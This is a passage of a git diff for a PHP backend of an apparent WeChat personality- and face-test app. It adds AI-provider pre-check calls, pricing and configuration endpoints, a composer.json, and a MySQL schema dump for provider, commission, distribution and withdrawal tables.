+ $text = $this->quickCallOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $providerId);
+ }
+
+ if (empty($text)) {
+ return true; // 无法解析时放行
+ }
+
+ $upper = strtoupper(trim($text));
+ // 明确回答 NO 才拦截;YES / 含 YES 的句子 / 无法判断 → 放行
+ return strpos($upper, 'NO') === false || strpos($upper, 'YES') !== false;
+ } catch (\Throwable $e) {
+ return true; // 异常时放行,不影响正常业务
+ }
+ }
+
+ /** 用于前置检测的 OpenAI 兼容接口(max_tokens=20,支持多图) */
+ private function quickCallOpenAICompatible(
+ string $endpoint, string $apiKey, string $model,
+ string $prompt, array $photoUrls, string $providerId
+ ): string {
+ $content = [['type' => 'text', 'text' => $prompt]];
+ foreach (array_slice($photoUrls, 0, 3) as $url) {
+ $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]];
+ }
+
+ $body = [
+ 'model' => $model,
+ 'messages' => [['role' => 'user', 'content' => $content]],
+ ];
+
+ if (strpos($endpoint, 'api.zhizengzeng.com') !== false) {
+ $body['max_completion_tokens'] = 20;
+ } else {
+ $body['max_tokens'] = 20;
+ }
+
+ $url = rtrim($endpoint, '/') . '/chat/completions';
+ $headers = setHeader([], $apiKey, 'json');
+ $response = requestCurl($url, $body, 'POST', $headers, 'json');
+
+ if (empty($response)) {
+ return '';
+ }
+
+ $data = json_decode($response, true);
+ return $data['choices'][0]['message']['content'] ?? '';
+ }
+
+ /** 用于前置检测的 Anthropic Messages 接口(max_tokens=20,支持多图) */
+ private function quickCallAnthropic(
+ string $endpoint, string $apiKey, string $model,
+ string $prompt, array $photoUrls
+ ): string {
+ $content = [['type' => 'text', 'text' => $prompt]];
+ foreach (array_slice($photoUrls, 0, 3) as $url) {
+ $content[] = ['type' => 'image', 'source' => ['type' => 'url', 'url' => $url]];
+ }
+
+ $body = [
+ 'model' => $model,
+ 'max_tokens' => 20,
+ 'messages' => [['role' => 'user', 'content' => $content]],
+ ];
+
+ $url = rtrim($endpoint, '/') . '/messages';
+ $ctx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' =>
+ "Content-Type: application/json\r\n"
+ . "x-api-key: {$apiKey}\r\n"
+ . "anthropic-version: 2023-06-01\r\n",
+ 'content' => json_encode($body, JSON_UNESCAPED_UNICODE),
+ 'timeout' => 15,
+ ],
+ ]);
+
+ $response = @file_get_contents($url, false, $ctx);
+ if ($response === false) {
+ return '';
+ }
+
+ $data = json_decode($response, true);
+ $text = '';
+ foreach (($data['content'] ?? []) as $block) {
+ if (($block['type'] ?? '') === 'text') {
+ $text .= $block['text'];
+ }
+ }
+ return $text;
+ }
+
+ /**
+ * 根据定价配置返回该测试类型是否需要付费才显示完整报告
+ * 直接读取 mbti_pricing_config 的个人版配置:价格 > 0 视为需要付费
+ */
+ private function getRequiresPaymentByTestType(string $testType): int
+ {
+ $amountFen = $this->getStandardAmountByTestType($testType);
+ return $amountFen > 0 ? 1 : 0;
+ }
+
+ /**
+ * 获取某测试类型当前配置的标准单价(单位:分)
+ * - $enterpriseId 非空 → 企业测试,走 admin_enterprise 定价
+ * - $enterpriseId 为 null → 个人测试,走 admin_personal + $pricingEnterpriseId 定价
+ * - $pricingEnterpriseId 非空:用户绑定企业,优先读该企业管理员配置的个人版价
+ * - $pricingEnterpriseId 为 null:未绑定企业,读超管全局个人版价
+ */
+ private function getStandardAmountByTestType(string $testType, ?int $enterpriseId = null, ?int $pricingEnterpriseId = null): int
+ {
+ $pricingConfig = $enterpriseId !== null && $enterpriseId > 0
+ ? PricingConfigModel::getByTypeAndEnterprise('enterprise', $enterpriseId)
+ : PricingConfigModel::getByTypeAndEnterprise('personal', $pricingEnterpriseId);
+ if (!$pricingConfig || empty($pricingConfig->config)) {
+ return 0;
+ }
+
+ $rawConfig = $pricingConfig->config;
+ $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig;
+
+ $keyMap = ['team_analysis' => 'teamAnalysis'];
+ $key = $keyMap[$testType] ?? $testType;
+ if (!isset($pricing[$key])) {
+ return 0;
+ }
+
+ $unitYuan = (float) $pricing[$key];
+ return $unitYuan > 0 ? (int) round($unitYuan * 100) : 0;
+ }
+}
diff --git a/api/app/controller/api/AppConfig.php b/api/app/controller/api/AppConfig.php
new file mode 100644
index 0000000..d4cdd0d
--- /dev/null
+++ b/api/app/controller/api/AppConfig.php
@@ -0,0 +1,201 @@
+request->param('scope', '') ?? '');
+
+ $user = $this->request->user ?? null;
+ if (!$user) {
+ $token = JwtService::getTokenFromRequest($this->request);
+ if ($token) {
+ $payload = JwtService::verifyToken($token);
+ if ($payload) {
+ $user = [
+ 'source' => $payload['source'] ?? '',
+ 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null,
+ 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null,
+ ];
+ }
+ }
+ }
+ if ($scope !== 'personal' && $user && ($user['source'] ?? '') === 'wechat') {
+ $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0);
+ if ($userId > 0) {
+ $row = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find();
+ if (!empty($row['enterpriseId'])) {
+ $enterpriseId = (int) $row['enterpriseId'];
+ $pricingType = 'enterprise';
+ }
+ }
+ }
+
+ $config = PricingConfigModel::getByTypeAndEnterprise($pricingType, $enterpriseId);
+ if ($config && !empty($config->config)) {
+ // PricingConfig 模型已对 config 做 JSON 转换,这里直接当数组/对象用即可
+ $rawConfig = $config->config;
+ $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig;
+ }
+
+ // 超管 AI 配置:第一个 enabled=1、visible=1(显示)且 apiKey 非空;隐藏的服务商不参与选用
+ $firstProvider = AiProviderModel::where('enabled', 1)
+ ->whereRaw('(visible IS NULL OR visible = 1)')
+ ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)')
+ ->order('id', 'asc')
+ ->find();
+
+ $aiProviderId = null;
+ $aiProviderName = null;
+ if ($firstProvider) {
+ $aiProviderId = $firstProvider->providerId;
+ $aiProviderName = $firstProvider->name ?? $firstProvider->providerId;
+ }
+
+ // 报告付费开关:完全根据定价配置判断(价格 > 0 视为需要付费)
+ $reportRequiresPayment = ['face' => 0, 'mbti' => 0, 'disc' => 0, 'pdp' => 0];
+ foreach (['face', 'mbti', 'disc', 'pdp'] as $k) {
+ $key = $k === 'team_analysis' ? 'teamAnalysis' : $k;
+ if (isset($pricing[$key]) && (float) $pricing[$key] > 0) {
+ $reportRequiresPayment[$k] = 1;
+ }
+ }
+
+ // 站点信息(网站名称、小程序名称):供小程序导航栏等展示
+ $siteName = '';
+ $miniprogramName = '';
+ $siteInfo = Db::name('system_config')->where('key', 'site_info')->find();
+ if ($siteInfo && !empty($siteInfo['value'])) {
+ $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value'];
+ if (is_array($val)) {
+ $siteName = (string) ($val['siteName'] ?? '');
+ $miniprogramName = (string) ($val['miniprogramName'] ?? '');
+ }
+ }
+ if ($siteName === '' || $miniprogramName === '') {
+ $system = Db::name('system_config')->where('key', 'system')->find();
+ if ($system && !empty($system['value'])) {
+ $val = is_string($system['value']) ? json_decode($system['value'], true) : $system['value'];
+ if (is_array($val)) {
+ if ($siteName === '') $siteName = (string) ($val['siteName'] ?? '');
+ if ($miniprogramName === '') $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? '');
+ }
+ }
+ }
+ $siteTitle = $miniprogramName !== '' ? $miniprogramName : ($siteName !== '' ? $siteName : '神仙团队AI性格测试');
+
+ // 小程序文案配置(分析中提示、按钮、报告标题等)
+ $textConfig = [
+ 'analyzingTitle' => '正在分析中',
+ 'startButtonText' => '开始面相测试',
+ 'startButtonEnterprise' => '开始面部测试',
+ 'reportTitle' => '分析报告',
+ 'aiAnalysisText' => '智能分析'
+ ];
+ // 先读全局 text_config(enterprise_id=0)
+ $tcRow = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', 0)->find();
+ if ($tcRow && !empty($tcRow['value'])) {
+ $tcVal = is_string($tcRow['value']) ? json_decode($tcRow['value'], true) : $tcRow['value'];
+ if (is_array($tcVal)) {
+ $textConfig = array_merge($textConfig, array_intersect_key($tcVal, $textConfig));
+ }
+ }
+ // 企业专属文案 + 小程序名称 覆盖全局(enterprise_id={eid})
+ if ($enterpriseId > 0) {
+ $eidTc = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', $enterpriseId)->find();
+ if ($eidTc && !empty($eidTc['value'])) {
+ $eidVal = is_string($eidTc['value']) ? json_decode($eidTc['value'], true) : $eidTc['value'];
+ if (is_array($eidVal)) {
+ $textConfig = array_merge($textConfig, array_intersect_key($eidVal, $textConfig));
+ if (!empty($eidVal['miniprogramName'])) {
+ $miniprogramName = (string) $eidVal['miniprogramName'];
+ $siteTitle = $miniprogramName;
+ }
+ }
+ }
+ }
+
+ return success([
+ 'pricingType' => $pricingType,
+ 'pricing' => $pricing,
+ 'aiProviderId' => $aiProviderId,
+ 'aiProviderName' => $aiProviderName,
+ 'reportRequiresPayment' => $reportRequiresPayment,
+ 'siteName' => $siteName,
+ 'miniprogramName' => $miniprogramName,
+ 'siteTitle' => $siteTitle,
+ 'textConfig' => $textConfig,
+ ]);
+ }
+
+ /**
+ * GET api/config/deep-pricing?scope=personal|enterprise
+ * 深度服务价格(开通会员页):个人版与企业版分别返回可配置的类目列表,支持后台新增类目
+ */
+ public function deepPricing()
+ {
+ $scope = (string) ($this->request->param('scope', 'personal') ?? 'personal');
+ $type = $scope === 'enterprise' ? 'deep_enterprise' : 'deep_personal';
+
+ $config = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find();
+ $categories = [];
+ if ($config && !empty($config->config)) {
+ $raw = $config->config;
+ $data = is_array($raw) ? $raw : (array) $raw;
+ $categories = isset($data['categories']) && is_array($data['categories']) ? $data['categories'] : [];
+
+ // 兼容旧数据:补全可能缺失的字段,确保前端始终能读到完整结构
+ foreach ($categories as &$cat) {
+ // features:旧数据只存 featuresText,动态拆成数组
+ if (!isset($cat['features']) || !is_array($cat['features'])) {
+ if (!empty($cat['featuresText']) && is_string($cat['featuresText'])) {
+ $lines = preg_split('/\r?\n/', $cat['featuresText']);
+ $cat['features'] = array_values(array_filter(array_map('trim', $lines), static function ($s) {
+ return $s !== '';
+ }));
+ } else {
+ $cat['features'] = [];
+ }
+ }
+ // serviceWechat(客服微信):展示给用户的微信号
+ if (!isset($cat['serviceWechat'])) {
+ $cat['serviceWechat'] = '';
+ }
+ // consultWechat(存客宝KEY):旧类目可能没有该字段,补空字符串
+ if (!isset($cat['consultWechat'])) {
+ $cat['consultWechat'] = '';
+ }
+ // promptText:同样补全
+ if (!isset($cat['promptText'])) {
+ $cat['promptText'] = '';
+ }
+ // successMessage:成功提示词,补全
+ if (!isset($cat['successMessage'])) {
+ $cat['successMessage'] = '';
+ }
+ }
+ unset($cat);
+ }
+
+ return success(['scope' => $scope, 'categories' => $categories]);
+ }
+}
diff --git a/api/composer.json b/api/composer.json
new file mode 100644
index 0000000..85bb409
--- /dev/null
+++ b/api/composer.json
@@ -0,0 +1,35 @@
+{
+ "name": "news/backend",
+ "description": "新闻资讯网站后端API服务",
+ "type": "project",
+ "keywords": [
+ "thinkphp",
+ "api",
+ "news"
+ ],
+ "homepage": "https://github.com/topthink/framework",
+ "license": "Apache-2.0",
+ "require": {
+ "php": ">=8.0.0",
+ "aliyuncs/oss-sdk-php": "^2.7",
+ "topthink/framework": "^8.0",
+ "topthink/think-orm": "^3.0",
+ "topthink/think-view": "^1.0"
+ },
+ "require-dev": {
+ "symfony/var-dumper": "^5.1",
+ "topthink/think-trace": "^1.0"
+ },
+ "autoload": {
+ "psr-4": {
+ "app\\": "app/"
+ }
+ },
+ "config": {
+ "preferred-install": "composer",
+ "optimize-autoloader": true,
+ "sort-packages": true
+ },
+ "minimum-stability": "dev",
+ "prefer-stable": true
+}
diff --git a/api/mbti.sql b/api/mbti.sql
new file mode 100644
index 0000000..28c34df
--- /dev/null
+++ b/api/mbti.sql
@@ -0,0 +1,492 @@
+/*
+ Navicat Premium Data Transfer
+
+ Source Server : kr_存客宝
+ Source Server Type : MySQL
+ Source Server Version : 50736
+ Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413
+ Source Schema : mbti
+
+ Target Server Type : MySQL
+ Target Server Version : 50736
+ File Encoding : 65001
+
+ Date: 12/03/2026 17:13:09
+*/
+
+SET NAMES utf8mb4;
+SET FOREIGN_KEY_CHECKS = 0;
+
+-- ----------------------------
+-- Table structure for mbti_activities
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_activities`;
+CREATE TABLE `mbti_activities` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID',
+ `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型',
+ `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述',
+ `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_ai_providers
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_ai_providers`;
+CREATE TABLE `mbti_ai_providers` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等',
+ `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称',
+ `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用',
+ `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏',
+ `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)',
+ `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点',
+ `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型',
+ `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)',
+ `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数',
+ `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用',
+ `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值',
+ `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注',
+ `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接',
+ `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商',
+ `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询',
+ `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额',
+ `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD',
+ `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除',
+ `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE,
+ INDEX `idx_enabled`(`enabled`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_backup_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_backup_records`;
+CREATE TABLE `mbti_backup_records` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名',
+ `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径',
+ `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)',
+ `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL',
+ `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_filename`(`filename`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_commission_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_commission_records`;
+CREATE TABLE `mbti_commission_records` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `agentId` int(11) NOT NULL COMMENT '分销商ID',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID',
+ `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)',
+ `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled',
+ `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID',
+ `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID',
+ `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID',
+ `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)',
+ `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)',
+ `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间',
+ `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间',
+ `testResultId` int(11) NULL DEFAULT NULL,
+ `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE,
+ INDEX `idx_agentId`(`agentId`) USING BTREE,
+ INDEX `idx_orderId`(`orderId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_scope`(`scope`) USING BTREE,
+ INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_inviterId`(`inviterId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_distribution_agents
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_agents`;
+CREATE TABLE `mbti_distribution_agents` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称',
+ `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话',
+ `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱',
+ `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数',
+ `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金',
+ `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_distribution_bindings
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_bindings`;
+CREATE TABLE `mbti_distribution_bindings` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID',
+ `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)',
+ `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)',
+ `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)',
+ `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden',
+ `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID',
+ `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE,
+ INDEX `idx_inviterId`(`inviterId`) USING BTREE,
+ INDEX `idx_inviteeId`(`inviteeId`) USING BTREE,
+ INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE,
+ INDEX `idx_expireAt`(`expireAt`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_distribution_withdrawals
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_withdrawals`;
+CREATE TABLE `mbti_distribution_withdrawals` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id',
+ `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)',
+ `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)',
+ `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred',
+ `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注',
+ `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间',
+ `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间',
+ `createdAt` int(11) NULL DEFAULT NULL,
+ `updatedAt` int(11) NULL DEFAULT NULL,
+ `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)',
+ `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)',
+ `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号',
+ `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)',
+ `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID',
+ `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号',
+ `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE,
+ INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_enterprises
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_enterprises`;
+CREATE TABLE `mbti_enterprises` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID',
+ `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称',
+ `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码',
+ `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名',
+ `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话',
+ `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱',
+ `balance` int(11) NULL DEFAULT 0 COMMENT '余额',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用',
+ `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_code`(`code`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
